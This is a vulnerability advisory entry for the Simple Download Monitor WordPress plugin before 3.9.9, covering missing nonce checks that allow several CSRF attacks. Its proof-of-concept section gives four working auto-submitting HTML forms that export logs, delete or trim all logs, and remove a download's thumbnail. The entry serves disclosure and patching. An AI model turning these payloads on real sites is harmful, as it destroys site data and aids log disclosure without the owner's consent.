WordPress Plugin Vulnerabilities
Simple Download Monitor < 3.9.9 - Multiple CSRF
Description
The plugin does not enforce nonce checks, which could allow attackers to perform CSRF attacks to 1) make admins export logs to exploit a separate log disclosure vulnerability (fixed in 3.9.6), 2) delete logs (fixed in 3.9.9), 3) remove thumbnail image from downloads
Proof of Concept
To export logs (which could then be downloaded by unauthenticated users using the Unauthenticated Log Access issue) - Fixed in 3.9.6 <form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs&action=sdm-logs-export" method="post" id="csrf"> <input type="hidden" name="sdm_stats_start_date" value="2021-08-31"> <input type="hidden" name="sdm_stats_end_date" value="2021-08-31"> <input type="hidden" name="sdm_export_log_entries" value="1"> </form> <script>csrf.submit()</script> To delete logs (fixed in 3.9.9): <form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf"> <input type="hidden" name="sdm_reset_log_entries" value="1"> </form> <script>csrf.submit()</script> <form action="https://example.com/wp-admin/edit.php?post_type=sdm_downloads&page=sdm-logs" method="post" id="csrf"> <input type="hidden" name="sdm_trim_log_entries" value="1"> <!-- older than 0 days = basically all --> <input type="hidden" name="sdm_trim_log_entries_day" value="0"> </form> <script>csrf.submit()</script> To remove thumbnail image from downloads (fixed in 3.9.9) <form action="https://example.com/wp-admin/admin-ajax.php" method="post" id="csrf"> <input type="hidden" name="action" value="sdm_remove_thumbnail_image"> <!-- assuming download 612 has thumbnail --> <input type="hidden" name="post_id_del" value="612"> </form> <script>csrf.submit()</script>
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-12-21 (about 2 years ago)
Added
2021-12-21 (about 2 years ago)
Last Updated
2022-04-13 (about 2 years ago)